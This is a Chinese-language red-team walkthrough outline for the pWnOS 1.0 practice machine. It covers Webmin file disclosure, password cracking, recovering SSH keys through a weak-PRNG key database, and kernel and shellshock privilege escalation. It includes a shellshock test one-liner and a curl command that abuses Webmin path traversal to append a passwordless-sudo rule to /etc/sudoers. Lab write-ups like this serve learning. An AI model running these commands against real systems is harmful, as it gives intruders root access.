第七篇红队笔记-百靶精讲之pWnOS1.0-Authorized_keys-prng-shellshock

方法一

主机发现

nmap端口扫描

Web渗透

Webmin文件泄露漏洞利用

• 确认cms
  
• 发现漏洞
  

john密码破解

获得初始shell

利用权限配置不当提权

• 不能理解为什么exp后反弹的却是root

• 生成cgi
  

• 下载cgi
  

• 监听
  

Root

方法二

Authorized_keys文件获取

发现敏感文件的经验（精）

用公钥信息破解出私钥（精）

• prng:伪随机数生成器（pseudorandom number generator，PRNG），又称为确定性随机位生成器（deterministic random bit generator，DRBG），是用来生成接近于绝对随机数序列的数字序列的算法。一般来说，PRNG 会依赖于一个初始值，也称为种子，来生成对应的伪随机数序列。只要种子确定了，PRNG 所生成的随机数就是完全确定的，因此其生成的随机数序列并不是真正随机的。
• 下载公钥私钥库
  
  
  
• 复制公钥部分，拿去对碰
  
  

处理ssh登录参数问题（精）

• 一定要在具有rsa文本的路径执行
  
  
  
  
  

获得系统初级权限

提权

内核提权及经验（精）

• 内核版本先不写全
• 优先获取权限：grep ‘Privilege Escalation’
  
  

shellshock提权（精）

• 判断是否shellshock

  1 bash version < 4.3
  2 输入检查语句：linux:env x=’() { :;}; echo XXXXXX’ bash -c “echo This is a test code",「XXXXXX」就是表示系统有漏洞
  

  

sudoers权限精要

• 新建shellshock.cgi文件
  
• 访问shellshock.cgi文件
  

  sudo curl http://10.0.2.128:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/tmp/shellshock.cgi -A '() { :; }; /bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'
  

  

总结

其他

authorized_keys文件

• /home/vmware/.ssh/authorized_keys 是各个公钥存放的路径
• 比如本地window 想免密码直接ssh连接linux，
  • window先本地生成id_rsa私钥和id_rea.pub公钥
  • 通过类似scp工具把id_rea.pub公钥上传目标linux的.ssh/authorized_keys目录

prng

• 确定性随机位生成器。PRNG 会依赖于一个初始值，也称为种子，来生成对应的伪随机数序列
• 在公钥文件库里，拿公钥文本碰撞出对应的公钥文件
• grep -lr “公钥文本”